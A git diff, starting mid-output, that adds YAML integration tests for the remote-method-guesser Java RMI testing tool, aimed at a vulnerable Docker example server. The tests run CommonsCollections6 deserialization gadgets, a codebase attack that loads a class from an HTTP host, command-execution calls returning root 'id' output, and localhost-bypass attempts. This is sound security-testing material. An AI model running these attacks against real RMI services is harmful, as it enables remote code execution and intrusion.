RMI ActivationSystem enumeration: + [+] + [+] - Caught IllegalArgumentException during activate call (activator is present). + [+] --> Deserialization allowed - Vulnerability Status: Vulnerable + [+] --> Client codebase enabled - Configuration Status: Non Default diff --git a/tests/jdk11/tests/guess.yml b/tests/jdk11/tests/guess.yml index 9b9755ad..22cece26 100644 --- a/tests/jdk11/tests/guess.yml +++ b/tests/jdk11/tests/guess.yml @@ -149,3 +149,42 @@ tests: - void updatePreferences(java.util.ArrayList dummy1) - void logMessage(int dummy1, Object dummy2) - String login(java.util.HashMap dummy1) + + + - title: Activatable Guess + description: |- + 'Performs method guessing on the registry opened by the acivation system.' + + command: + - rmg + - guess + - ${TARGET-ACT} + - --verbose + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - 'You can use --follow to prevent this.' + - 'Methods that take zero arguments are ignored by default. Use --zero-args to guess them' + - 'Ignoring zero argument method: java.lang.String getStatus()' + - 'The following bound names use a known remote object class' + - 'You can use --force-guessing to guess methods anyway' + - 'String execute(String dummy)' + - 'String system(String dummy, String[] dummy2)' + - 'void logMessage(int dummy1, Object dummy2)' + - 'String login(java.util.HashMap dummy1)' + - 'void updatePreferences(java.util.ArrayList dummy1)' + - 'String system(String dummy, String[] dummy2)' + - 'String execute(String dummy)' + - 'java.rmi.activation.ActivationID registerObject(java.rmi.activation.ActivationDesc arg)' + - 'void unregisterObject(java.rmi.activation.ActivationID arg)' + - 'java.rmi.activation.ActivationGroupID registerGroup(java.rmi.activation.ActivationGroupDesc arg)' + - 'java.rmi.activation.ActivationMonitor activeGroup(java.rmi.activation.ActivationGroupID arg, java.rmi.activation.ActivationInstantiator arg, long arg)' + - 'void unregisterGroup(java.rmi.activation.ActivationGroupID arg)' + - 'void shutdown()' + - 'java.rmi.activation.ActivationDesc setActivationDesc(java.rmi.activation.ActivationID arg, java.rmi.activation.ActivationDesc arg)' + - 'java.rmi.activation.ActivationGroupDesc setActivationGroupDesc(java.rmi.activation.ActivationGroupID arg, java.rmi.activation.ActivationGroupDesc arg)' + - 'java.rmi.activation.ActivationDesc getActivationDesc(java.rmi.activation.ActivationID arg)' + - 'java.rmi.activation.ActivationGroupDesc getActivationGroupDesc(java.rmi.activation.ActivationGroupID arg)' diff --git a/tests/jdk11/tests/method.yml b/tests/jdk11/tests/method.yml index 7b015f8d..a54af588 100644 --- a/tests/jdk11/tests/method.yml +++ b/tests/jdk11/tests/method.yml @@ -38,7 +38,7 @@ tests: - rmg - serial - ${TARGET} - - CommonsCollections6 + - CommonsCollections6 - 'touch ${volume-d}/${file}' - --signature - 'String system(String dummy, String[] dummy2)' @@ -72,7 +72,7 @@ tests: - rmg - serial - ${TARGET} - - CommonsCollections6 + - CommonsCollections6 - 'touch ${volume-d}/${file}' - --signature - 'void releaseRecord(int recordID, String tableName, Integer remoteHashCode)' @@ -94,6 +94,40 @@ tests: - '${volume}/${file}' + - title: Gadget Call (Activatable) + description: |- + 'Performs a deserialization attack on the updatePreferences function of the' + 'activation-test2 object.' + + groups: + - ysoserial + + command: + - rmg + - serial + - ${TARGET-ACT} + - CommonsCollections6 + - 'touch ${volume-d}/${file}' + - --signature + - 'void updatePreferences(java.util.ArrayList dummy1)' + - --bound-name + - activation-test2 + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - java.util.ArrayList + - Caught ClassNotFoundException + - deserialize canary + - probably worked + - file_exists: + cleanup: True + files: + - '${volume}/${file}' + + - title: Plugin Call description: |- 'Uses a plugin as payload provider that returns the string that was specified' @@ -143,7 +177,7 @@ tests: - rmg - serial - ${TARGET} - - CommonsCollections6 + - CommonsCollections6 - 'touch ${volume-d}/${file}' - --signature - 'String execute(String dummy)' diff --git a/tests/jdk11/tests/reg.yml b/tests/jdk11/tests/reg.yml index 0fc7409d..bf862701 100644 --- a/tests/jdk11/tests/reg.yml +++ b/tests/jdk11/tests/reg.yml @@ -63,6 +63,33 @@ tests: - readString() + - title: Gadget Call (Activation) + description: |- + 'Attempts a deserialization attack on the registry endpoint created by' + 'the activation system. This should fail, as the server uses readString' + 'for unmarshalling.' + + groups: + - ysoserial + + command: + - rmg + - serial + - ${TARGET-ACT} + - CommonsCollections6 + - ls + - --component + - reg + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - Caught ClassCastException + - readString() + + - title: JEP290 Bypass description: |- 'Attempts a deserialization attack on the registry endpoint,' diff --git a/tests/jdk8/jdk8.yml b/tests/jdk8/jdk8.yml index d87539b4..de559702 100644 --- a/tests/jdk8/jdk8.yml +++ b/tests/jdk8/jdk8.yml @@ -3,7 +3,6 @@ tester: description: |- 'Launches some tests for jdk8 based on the rmg-example-server.' - id: '001' groups: - jdk8 @@ -11,7 +10,7 @@ tester: containers: - name: 'rmg-jdk8' - image: 'ghcr.io/qtc-de/remote-method-guesser/rmg-example-server:3.1-jdk8' + image: 'ghcr.io/qtc-de/remote-method-guesser/rmg-example-server:3.3-jdk8' volumes: - '${volume}:${volume-d}' aliases: diff --git a/tests/jdk8/tests/act.yml b/tests/jdk8/tests/act.yml index cbe5db23..35b4abf7 100644 --- a/tests/jdk8/tests/act.yml +++ b/tests/jdk8/tests/act.yml @@ -45,6 +45,37 @@ tests: - '${volume}/${file}' + - title: Gadget Call (Activation System) + description: |- + 'Performs a deserialization attack on the Activator endpoint.' + 'The expected result is a file being created within the docker' + 'volume. This test targets the Activator that was created by' + 'the activation system.' + + groups: + - ysoserial + + command: + - rmg + - serial + - ${TARGET-ACT} + - CommonsCollections6 + - 'touch ${volume-d}/${file}' + - --component + - act + - ${OPTIONS} + + validators: + - error: False + - regex: + match: + - 'Deserialization attack.+successful' + - file_exists: + cleanup: True + files: + - '${volume}/${file}' + + - title: Invalid Gadget description: |- 'Check whether an incorrect gadget specification is handeled' diff --git a/tests/jdk8/tests/bind.yml b/tests/jdk8/tests/bind.yml index f9902687..9678862a 100644 --- a/tests/jdk8/tests/bind.yml +++ b/tests/jdk8/tests/bind.yml @@ -34,6 +34,26 @@ tests: - --localhost-bypass + - title: Bind Call (Activation System) + description: |- + 'Performs a bind operation on a registry created by the activation system.' + + command: + - rmg + - bind + - ${TARGET-ACT} + - '127.0.0.1:8000' + - ${bound-name} + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - rejected bind call + - --localhost-bypass + + - title: Bind Call (localhost bypass) description: |- 'Performs a bind operation with --localhost-bypass.' @@ -55,6 +75,28 @@ tests: - Localhost bypass was used but failed + - title: Bind Call (Activation System localhost bypass) + description: |- + 'Performs a bind operation with --localhost-bypass on a registry created by the + activation system.' + + command: + - rmg + - bind + - ${TARGET-ACT} + - '127.0.0.1:8000' + - ${bound-name} + - --localhost-bypass + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - Registry rejected bind call + - Localhost bypass was used but failed + + - title: Rebind Call description: |- 'Performs a rebind operation.' diff --git a/tests/jdk8/tests/call.yml b/tests/jdk8/tests/call.yml index 588e8248..b8e47d86 100644 --- a/tests/jdk8/tests/call.yml +++ b/tests/jdk8/tests/call.yml @@ -34,7 +34,7 @@ tests: - call - ${TARGET} - '"touch ${volume-d}/${file}"' - - --bound-name + - --bound-name - plain-server - --signature - 'String execute(String dummy)' @@ -60,7 +60,7 @@ tests: - call - ${TARGET} - '"id"' - - --bound-name + - --bound-name - plain-server - --signature - 'String execute(String dummy)' @@ -90,7 +90,7 @@ tests: - call - ${TARGET} - login - - --bound-name + - --bound-name - legacy-service - --signature - 'String login(java.util.HashMap dummy1)' @@ -175,7 +175,7 @@ tests: - call - ${TARGET} - '"id"' - - --bound-name + - --bound-name - legacy-server - --signature - 'String login(java.util.HashMap dummy1)' @@ -198,7 +198,7 @@ tests: - call - ${TARGET} - '5' - - --bound-name + - --bound-name - legacy-service - --signature - 'String login(java.util.HashMap dummy1)' @@ -210,3 +210,109 @@ tests: values: - 5 is invalid - Cannot continue from here + + + - title: Execute Call Activatable + description: |- + 'Invokes the execute function on the activation-test object.' + command: + - rmg + - call + - ${TARGET-ACT} + - '"touch ${volume-d}/${file}"' + - --bound-name + - activation-test + - --signature + - 'String execute(String dummy)' + - ${OPTIONS} + + validators: + - error: False + - file_exists: + cleanup: True + files: + - '${volume}/${file}' + + + - title: Execute Call Activatable (Response Handler Plugin) + description: |- + 'Invokes the execute function on the activation-test object.' + groups: + - response-handler + + command: + - rmg + - call + - ${TARGET-ACT} + - '"id"' + - --bound-name + - activation-test + - --signature + - 'String execute(String dummy)' + - --plugin + - ../../utils/PluginTest.jar + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - uid=0(root) + - gid=0(root) + - groups=0(root) + + + - title: System Call (Response Handler Plugin) + description: |- + 'Invokes the system function on the plain-server object.' + groups: + - response-handler + + command: + - rmg + - call + - ${TARGET-ACT} + - '"/bin/ash", new String[] { "-c", "id" }' + - --bound-name + - plain-server + - --signature + - 'String system(String command, String[] args)' + - --plugin + - ../../utils/PluginTest.jar + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - uid=0(root) + - gid=0(root) + - groups=0(root) + + + - title: System Call Activatable (Response Handler Plugin) + description: |- + 'Invokes the system function on the activation-test object.' + groups: + - response-handler + + command: + - rmg + - call + - ${TARGET-ACT} + - '"/bin/ash", new String[] { "-c", "id" }' + - --bound-name + - activation-test + - --signature + - 'String system(String command, String[] args)' + - --plugin + - ../../utils/PluginTest.jar + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - uid=0(root) + - gid=0(root) + - groups=0(root) diff --git a/tests/jdk8/tests/codebase.yml b/tests/jdk8/tests/codebase.yml index f662facc..272138c8 100644 --- a/tests/jdk8/tests/codebase.yml +++ b/tests/jdk8/tests/codebase.yml @@ -21,6 +21,7 @@ plugins: - '../../utils/${codebase-class}2.java' - '../../utils/${codebase-class}3.java' - '../../utils/${codebase-class}4.java' + - '../../utils/${codebase-class}5.java' - http_listener: port: 8000 @@ -165,6 +166,35 @@ tests: - '${volume}/${codebase-class}4.txt' + - title: Method Codebase Call (Activatable) + description: |- + 'Performs a codebase attack on the activation-test2 remote object.' + 'The expected result is a file being created within the docker' + 'volume.' + command: + - rmg + - codebase + - ${TARGET-ACT} + - '${codebase-class}5' + - 'http://${DOCKER-GW}:8000/' + - --signature + - 'void updatePreferences(java.util.ArrayList preferences)' + - --bound-name + - activation-test2 + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - 'load canary class' + - 'attack probably worked' + - file_exists: + cleanup: True + files: + - '${volume}/${codebase-class}5.txt' + + - title: Missing Signature description: |- 'Performs a codebase attack with missing --signature option and checks' diff --git a/tests/jdk8/tests/dgc.yml b/tests/jdk8/tests/dgc.yml index 249253b2..4c5df219 100644 --- a/tests/jdk8/tests/dgc.yml +++ b/tests/jdk8/tests/dgc.yml @@ -65,3 +65,27 @@ tests: values: - 'Caught java.lang.NoClassDefFoundError during deserialization attack' + + - title: Gadget Call (Activation System) + description: |- + 'Attempts a deserialization attack on the DGC endpoint.' + 'The deserialization should work, but the chain is broken at some point.' + groups: + - ysoserial + + command: + - rmg + - serial + - ${TARGET-ACT} + - CommonsCollections6 + - ls + - --component + - dgc + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - 'Caught java.lang.NoClassDefFoundError during deserialization attack.' + - 'This could be caused by your gadget an the attack probably worked anyway.' diff --git a/tests/jdk8/tests/enum.yml b/tests/jdk8/tests/enum.yml index 89f3f7b2..a023e500 100644 --- a/tests/jdk8/tests/enum.yml +++ b/tests/jdk8/tests/enum.yml @@ -172,3 +172,238 @@ tests: [+] - Caught IllegalArgumentException during activate call (activator is present). [+] --> Deserialization allowed - Vulnerability Status: Vulnerable [+] --> Client codebase enabled - Configuration Status: Non Default + + + - title: 'Activation Server Enumeration' + command: + - rmg + - enum + - ${TARGET-ACT} + - ${OPTIONS} + + validators: + - error: False + + - contains: + description: |- + 'Check whether all registered bound names are detected.' + ignore_case: True + values: + - 'activation-test' + - 'de.qtc.rmg.server.activation.IActivationService (unknown class)' + - 'Activator: iinsecure.dev:1098 ActivationID:' + - 'activation-test2' + - 'de.qtc.rmg.server.activation.IActivationService2 (unknown class)' + - 'Activator: iinsecure.dev:1098 ActivationID:' + - 'plain-server' + - 'de.qtc.rmg.server.interfaces.IPlainServer (unknown class)' + - 'java.rmi.activation.ActivationSystem' + - 'sun.rmi.server.Activation$ActivationSystemImpl_Stub (known class: RMI Activation System)' + invert: + - 'TLS: yes ObjID:' + + - contains: + description: |- + 'Check whether all exposed codebase values are detected.' + ignore_case: True + values: + - 'http://iinsecure.dev/well-hidden-development-folder/' + + - contains: + description: |- + 'Check whether string marshalling behavior is correctly detected.' + ignore_case: True + values: + - |- + [+] RMI server String unmarshalling enumeration: + [+] + [+] - Caught ClassNotFoundException during lookup call. + [+] --> The type java.lang.String is unmarshalled via readObject(). + [+] Configuration Status: Outdated + + - contains: + description: |- + 'Check whether the useCodebaseOnly settings is correctly detected.' + ignore_case: True + values: + - |- + [+] RMI server useCodebaseOnly enumeration: + [+] + [+] - Caught MalformedURLException during lookup call. + [+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false). + [+] Configuration Status: Non Default + + - contains: + description: |- + 'Check whether localhost bypass vulnerability is detected.' + ignore_case: True + values: + - |- + [+] RMI registry localhost bypass enumeration (CVE-2019-2684): + [+] + [+] - Registry rejected unbind call cause it was not send from localhost. + [+] Vulnerability Status: Non Vulnerable + + - contains: + description: |- + 'Check whether DGC enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI Security Manager enumeration: + [+] + [+] - Security Manager rejected access to the class loader. + [+] --> The server does use a Security Manager. + [+] Configuration Status: Current Default + + - contains: + description: |- + 'Check whether JEP290 enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI server JEP290 enumeration: + [+] + [+] - DGC accepted deserialization of java.util.HashMap (JEP290 is not installed). + [+] Vulnerability Status: Vulnerable + + - contains: + description: |- + 'Check whether JEP290 Bypass enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI registry JEP290 bypass enmeration: + [+] + [+] - Caught IllegalArgumentException after sending An Trinh gadget. + [+] Vulnerability Status: Vulnerable + + - contains: + description: |- + 'Check whether Activator enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI ActivationSystem enumeration: + [+] + [+] - Caught IllegalArgumentException during activate call (activator is present). + [+] --> Deserialization allowed - Vulnerability Status: Vulnerable + [+] --> Client codebase enabled - Configuration Status: Non Default + + + - title: 'Activation Server Enumeration (--activate)' + command: + - rmg + - enum + - ${TARGET-ACT} + - --activate + - ${OPTIONS} + + validators: + - error: False + + - contains: + description: |- + 'Check whether all registered bound names are detected.' + ignore_case: True + values: + - 'activation-test' + - 'de.qtc.rmg.server.activation.IActivationService (unknown class)' + - 'Activator: iinsecure.dev:1098 ActivationID:' + - 'activation-test2' + - 'de.qtc.rmg.server.activation.IActivationService2 (unknown class)' + - 'Activator: iinsecure.dev:1098 ActivationID:' + - 'plain-server' + - 'de.qtc.rmg.server.interfaces.IPlainServer (unknown class)' + - 'java.rmi.activation.ActivationSystem' + - 'sun.rmi.server.Activation$ActivationSystemImpl_Stub (known class: RMI Activation System)' + - 'TLS: yes ObjID:' + + - contains: + description: |- + 'Check whether all exposed codebase values are detected.' + ignore_case: True + values: + - 'http://iinsecure.dev/well-hidden-development-folder/' + - 'file:/opt/example-server.jar' + + - contains: + description: |- + 'Check whether string marshalling behavior is correctly detected.' + ignore_case: True + values: + - |- + [+] RMI server String unmarshalling enumeration: + [+] + [+] - Caught ClassNotFoundException during lookup call. + [+] --> The type java.lang.String is unmarshalled via readObject(). + [+] Configuration Status: Outdated + + - contains: + description: |- + 'Check whether the useCodebaseOnly settings is correctly detected.' + ignore_case: True + values: + - |- + [+] RMI server useCodebaseOnly enumeration: + [+] + [+] - Caught MalformedURLException during lookup call. + [+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false). + [+] Configuration Status: Non Default + + - contains: + description: |- + 'Check whether localhost bypass vulnerability is detected.' + ignore_case: True + values: + - |- + [+] RMI registry localhost bypass enumeration (CVE-2019-2684): + [+] + [+] - Registry rejected unbind call cause it was not send from localhost. + [+] Vulnerability Status: Non Vulnerable + + - contains: + description: |- + 'Check whether DGC enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI Security Manager enumeration: + [+] + [+] - Security Manager rejected access to the class loader. + [+] --> The server does use a Security Manager. + [+] Configuration Status: Current Default + + - contains: + description: |- + 'Check whether JEP290 enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI server JEP290 enumeration: + [+] + [+] - DGC accepted deserialization of java.util.HashMap (JEP290 is not installed). + [+] Vulnerability Status: Vulnerable + + - contains: + description: |- + 'Check whether JEP290 Bypass enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI registry JEP290 bypass enmeration: + [+] + [+] - Caught IllegalArgumentException after sending An Trinh gadget. + [+] Vulnerability Status: Vulnerable + + - contains: + description: |- + 'Check whether Activator enumeration is working.' + ignore_case: True + values: + - |- + [+] RMI ActivationSystem enumeration: + [+] + [+] - Caught IllegalArgumentException during activate call (activator is present). + [+] --> Deserialization allowed - Vulnerability Status: Vulnerable + [+] --> Client codebase enabled - Configuration Status: Non Default diff --git a/tests/jdk8/tests/guess.yml b/tests/jdk8/tests/guess.yml index 515ec57e..4be17446 100644 --- a/tests/jdk8/tests/guess.yml +++ b/tests/jdk8/tests/guess.yml @@ -150,3 +150,41 @@ tests: - void updatePreferences(java.util.ArrayList dummy1) - void logMessage(int dummy1, Object dummy2) - String login(java.util.HashMap dummy1) + + + - title: Activatable Guess + description: |- + 'Performs method guessing on the registry opened by the acivation system.' + command: + - rmg + - guess + - ${TARGET-ACT} + - --verbose + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - 'You can use --follow to prevent this.' + - 'Methods that take zero arguments are ignored by default. Use --zero-args to guess them' + - 'Ignoring zero argument method: java.lang.String getStatus()' + - 'The following bound names use a known remote object class' + - 'You can use --force-guessing to guess methods anyway' + - 'String execute(String dummy)' + - 'String system(String dummy, String[] dummy2)' + - 'void logMessage(int dummy1, Object dummy2)' + - 'String login(java.util.HashMap dummy1)' + - 'void updatePreferences(java.util.ArrayList dummy1)' + - 'String system(String dummy, String[] dummy2)' + - 'String execute(String dummy)' + - 'java.rmi.activation.ActivationID registerObject(java.rmi.activation.ActivationDesc arg)' + - 'void unregisterObject(java.rmi.activation.ActivationID arg)' + - 'java.rmi.activation.ActivationGroupID registerGroup(java.rmi.activation.ActivationGroupDesc arg)' + - 'java.rmi.activation.ActivationMonitor activeGroup(java.rmi.activation.ActivationGroupID arg, java.rmi.activation.ActivationInstantiator arg, long arg)' + - 'void unregisterGroup(java.rmi.activation.ActivationGroupID arg)' + - 'void shutdown()' + - 'java.rmi.activation.ActivationDesc setActivationDesc(java.rmi.activation.ActivationID arg, java.rmi.activation.ActivationDesc arg)' + - 'java.rmi.activation.ActivationGroupDesc setActivationGroupDesc(java.rmi.activation.ActivationGroupID arg, java.rmi.activation.ActivationGroupDesc arg)' + - 'java.rmi.activation.ActivationDesc getActivationDesc(java.rmi.activation.ActivationID arg)' + - 'java.rmi.activation.ActivationGroupDesc getActivationGroupDesc(java.rmi.activation.ActivationGroupID arg)' diff --git a/tests/jdk8/tests/method.yml b/tests/jdk8/tests/method.yml index ee070d44..c8b1db5e 100644 --- a/tests/jdk8/tests/method.yml +++ b/tests/jdk8/tests/method.yml @@ -38,7 +38,7 @@ tests: - rmg - serial - ${TARGET} - - CommonsCollections6 + - CommonsCollections6 - 'touch ${volume-d}/${file}' - --signature - 'String system(String dummy, String[] dummy2)' @@ -72,7 +72,7 @@ tests: - rmg - serial - ${TARGET} - - CommonsCollections6 + - CommonsCollections6 - 'touch ${volume-d}/${file}' - --signature - 'void releaseRecord(int recordID, String tableName, Integer remoteHashCode)' @@ -94,6 +94,39 @@ tests: - '${volume}/${file}' + - title: Gadget Call (Activatable) + description: |- + 'Performs a deserialization attack on the updatePreferences function of the' + 'activation-test2 object.' + groups: + - ysoserial + + command: + - rmg + - serial + - ${TARGET-ACT} + - CommonsCollections6 + - 'touch ${volume-d}/${file}' + - --signature + - 'void updatePreferences(java.util.ArrayList dummy1)' + - --bound-name + - activation-test2 + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - java.util.ArrayList + - Caught ClassNotFoundException + - deserialize canary + - probably worked + - file_exists: + cleanup: True + files: + - '${volume}/${file}' + + - title: Plugin Call description: |- 'Uses a plugin as payload provider that returns the string that was specified' diff --git a/tests/jdk8/tests/reg.yml b/tests/jdk8/tests/reg.yml index 0065c475..ccfc49d0 100644 --- a/tests/jdk8/tests/reg.yml +++ b/tests/jdk8/tests/reg.yml @@ -86,6 +86,34 @@ tests: - '${volume}/${file}' + - title: Gadget Call (Activation) + description: |- + 'Attempts a deserialization attack on the registry endpoint.' + groups: + - ysoserial + + command: + - rmg + - serial + - ${TARGET-ACT} + - CommonsCollections6 + - 'touch ${volume-d}/${file}' + - --component + - reg + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - Caught ClassCastException during deserialization attack + - Deserialization attack was probably successful + - file_exists: + cleanup: True + files: + - '${volume}/${file}' + + - title: JEP290 Bypass description: |- 'Attempts a deserialization attack on the registry endpoint,' diff --git a/tests/jdk9/jdk9.yml b/tests/jdk9/jdk9.yml index fce65fd1..8280e2b6 100644 --- a/tests/jdk9/jdk9.yml +++ b/tests/jdk9/jdk9.yml @@ -10,7 +10,7 @@ tester: containers: - name: 'rmg-jdk9' - image: 'ghcr.io/qtc-de/remote-method-guesser/rmg-example-server:3.1-jdk9' + image: 'ghcr.io/qtc-de/remote-method-guesser/rmg-example-server:3.3-jdk9' volumes: - '${volume}:${volume-d}' aliases: diff --git a/tests/jdk9/tests/act.yml b/tests/jdk9/tests/act.yml index 1fa5f0fa..f6f0fa0c 100644 --- a/tests/jdk9/tests/act.yml +++ b/tests/jdk9/tests/act.yml @@ -45,6 +45,36 @@ tests: - '${volume}/${file}' + - title: Gadget Call (Activation System) + description: |- + 'Performs a deserialization attack on the Activator endpoint.' + 'The expected result is a file being created within the docker' + 'volume. This test targets the Activator that was created by' + 'the activation system.' + groups: + - ysoserial + + command: + - rmg + - serial + - ${TARGET-ACT} + - CommonsCollections6 + - 'touch ${volume-d}/${file}' + - --component + - act + - ${OPTIONS} + + validators: + - error: False + - regex: + match: + - 'Deserialization attack.+successful' + - file_exists: + cleanup: True + files: + - '${volume}/${file}' + + - title: Invalid Gadget description: |- 'Check whether an incorrect gadget specification is handeled' diff --git a/tests/jdk9/tests/bind.yml b/tests/jdk9/tests/bind.yml index 938fee8d..8908e2b8 100644 --- a/tests/jdk9/tests/bind.yml +++ b/tests/jdk9/tests/bind.yml @@ -34,6 +34,25 @@ tests: - --localhost-bypass + - title: Bind Call (Activation System) + description: |- + 'Performs a bind operation on a registry created by the activation system.' + command: + - rmg + - bind + - ${TARGET-ACT} + - '127.0.0.1:8000' + - ${bound-name} + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - rejected bind call + - --localhost-bypass + + - title: Bind Call (localhost bypass) description: |- 'Performs a bind operation with --localhost-bypass.' @@ -55,6 +74,29 @@ tests: - probably successful + - title: Bind Call (Activation System localhost bypass) + description: |- + 'Performs a bind operation with --localhost-bypass on a registry created by the + activation system. Despite the jdk version used by the server is vulnerable, the + bypass fails, because the Activation System implements the access check manually + within their registry implementation (SystemRegistryImpl)' + command: + - rmg + - bind + - ${TARGET-ACT} + - '127.0.0.1:8000' + - ${bound-name} + - --localhost-bypass + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - Registry rejected bind call because it was not send from localhost. + - Localhost bypass was used but failed. + + - title: Verify Bind description: |- 'Verifies the previous bind operation.' diff --git a/tests/jdk9/tests/call.yml b/tests/jdk9/tests/call.yml index 44f99c17..e241db32 100644 --- a/tests/jdk9/tests/call.yml +++ b/tests/jdk9/tests/call.yml @@ -34,7 +34,7 @@ tests: - call - ${TARGET} - '"touch ${volume-d}/${file}"' - - --bound-name + - --bound-name - plain-server - --signature - 'String execute(String dummy)' @@ -60,7 +60,7 @@ tests: - call - ${TARGET} - '"id"' - - --bound-name + - --bound-name - plain-server - --signature - 'String execute(String dummy)' @@ -90,7 +90,7 @@ tests: - call - ${TARGET} - login - - --bound-name + - --bound-name - legacy-service - --signature - 'String login(java.util.HashMap dummy1)' @@ -175,7 +175,7 @@ tests: - call - ${TARGET} - '"id"' - - --bound-name + - --bound-name - legacy-server - --signature - 'String login(java.util.HashMap dummy1)' @@ -198,7 +198,7 @@ tests: - call - ${TARGET} - '5' - - --bound-name + - --bound-name - legacy-service - --signature - 'String login(java.util.HashMap dummy1)' @@ -210,3 +210,109 @@ tests: values: - 5 is invalid - Cannot continue from here + + + - title: Execute Call Activatable + description: |- + 'Invokes the execute function on the activation-test object.' + command: + - rmg + - call + - ${TARGET-ACT} + - '"touch ${volume-d}/${file}"' + - --bound-name + - activation-test + - --signature + - 'String execute(String dummy)' + - ${OPTIONS} + + validators: + - error: False + - file_exists: + cleanup: True + files: + - '${volume}/${file}' + + + - title: Execute Call Activatable (Response Handler Plugin) + description: |- + 'Invokes the execute function on the activation-test object.' + groups: + - response-handler + + command: + - rmg + - call + - ${TARGET-ACT} + - '"id"' + - --bound-name + - activation-test + - --signature + - 'String execute(String dummy)' + - --plugin + - ../../utils/PluginTest.jar + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - uid=0(root) + - gid=0(root) + - groups=0(root) + + + - title: System Call (Response Handler Plugin) + description: |- + 'Invokes the system function on the plain-server object.' + groups: + - response-handler + + command: + - rmg + - call + - ${TARGET-ACT} + - '"/bin/ash", new String[] { "-c", "id" }' + - --bound-name + - plain-server + - --signature + - 'String system(String command, String[] args)' + - --plugin + - ../../utils/PluginTest.jar + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - uid=0(root) + - gid=0(root) + - groups=0(root) + + + - title: System Call Activatable (Response Handler Plugin) + description: |- + 'Invokes the system function on the activation-test object.' + groups: + - response-handler + + command: + - rmg + - call + - ${TARGET-ACT} + - '"/bin/ash", new String[] { "-c", "id" }' + - --bound-name + - activation-test + - --signature + - 'String system(String command, String[] args)' + - --plugin + - ../../utils/PluginTest.jar + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - uid=0(root) + - gid=0(root) + - groups=0(root) diff --git a/tests/jdk9/tests/codebase.yml b/tests/jdk9/tests/codebase.yml index 2353ae16..0e23cb3a 100644 --- a/tests/jdk9/tests/codebase.yml +++ b/tests/jdk9/tests/codebase.yml @@ -21,6 +21,7 @@ plugins: - '../../utils/${codebase-class}2.java' - '../../utils/${codebase-class}3.java' - '../../utils/${codebase-class}4.java' + - '../../utils/${codebase-class}5.java' - http_listener: port: 8000 @@ -165,6 +166,35 @@ tests: - '${volume}/${codebase-class}4.txt' + - title: Method Codebase Call (Activatable) + description: |- + 'Performs a codebase attack on the activation-test2 remote object.' + 'The expected result is a file being created within the docker' + 'volume.' + command: + - rmg + - codebase + - ${TARGET-ACT} + - '${codebase-class}5' + - 'http://${DOCKER-GW}:8000/' + - --signature + - 'void updatePreferences(java.util.ArrayList preferences)' + - --bound-name + - activation-test2 + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - 'load canary class' + - 'attack probably worked' + - file_exists: + cleanup: True + files: + - '${volume}/${codebase-class}5.txt' + + - title: Missing Signature description: |- 'Performs a codebase attack with missing --signature option and checks' diff --git a/tests/jdk9/tests/dgc.yml b/tests/jdk9/tests/dgc.yml index 2bd8fb62..d2ca50cd 100644 --- a/tests/jdk9/tests/dgc.yml +++ b/tests/jdk9/tests/dgc.yml @@ -61,3 +61,28 @@ tests: values: - rejected deserialization - The supplied gadget did not pass the deserialization filter + + + - title: Gadget Call (Activation System) + description: |- + 'Attempts a deserialization attack on the DGC endpoint.' + 'This should fail, as the server has JEP290 installed.' + groups: + - ysoserial + + command: + - rmg + - serial + - ${TARGET-ACT} + - CommonsCollections6 + - ls + - --component + - dgc + - ${OPTIONS} + + validators: + - error: False + - contains: + values: + - rejected deserialization + - The supplied gadget did not pass the deserialization filter diff --git a/tests/jdk9/tests/enum.yml b/tests/jdk9/tests/enum.yml index 14dda40b..ba381303 100644 --- a/tests/jdk9/tests/enum.yml +++ b/tests/jdk9/tests/enum.yml @@ -172,3 +172,238 @@ tests: [+] - Caught IllegalArgumentException during activate call (activator is present). [+] --> Deserialization allowed - Vulnerability Status: Vulnerable [+] --> Client codebase enabled - Configuration Status: Non Default + + + - title: 'Activation Server Enumeration' + command: + - rmg + - enum + - ${TARGET-ACT} + - ${OPTIONS} + + validators: + - error: False + + - contains: + description: |- + 'Check whether all registered bound names are detected.' + ignore_case: True + values: + - 'activation-test' + - 'de.qtc.rmg.server.activation.IActivationService (unknown class)' + - 'Activator: iinsecure.dev:1098 ActivationID:' + - 'activation-test2' + - 'de.qtc.rmg.server.activation.IActivationService2 (unknown class)' + - 'Activator: iinsecure.dev:1098 ActivationID:' + - 'plain-server' + - 'de.qtc.rmg.server.interfaces.IPlainServer (unknown class)' + - 'java.rmi.activation.ActivationSystem' + - 'sun.rmi.server.Activation$ActivationSystemImpl_Stub (known class: RMI Activation System)' + invert: + - 'TLS: yes ObjID:' + + - contains: + description: |- + 'Check whether all exposed codebase values are detected.' + ignore_case: True + values: + - 'http://iinsecure.dev/well-hidden-development-folder/' + + - contains: + description: |- + 'Check whether string marshalling behavior is correctly detected.' + ignore_case: True + values: + - |- + [+] RMI server String unmarshalling enumeration: + [+] + [+] - Caught ClassNotFoundException during lookup call. + [+] --> The type java.lang.String is unmarshalled via readObject(). + [+] Configuration Status: Outdated + + - contains: + description: |- + 'Check whether the useCodebaseOnly settings is correctly detected.' + ignore_case: True + values: + - |- + [+] RMI server useCodebaseOnly enumeration: + [+] + [+] - Caught MalformedURLException during lookup call. + 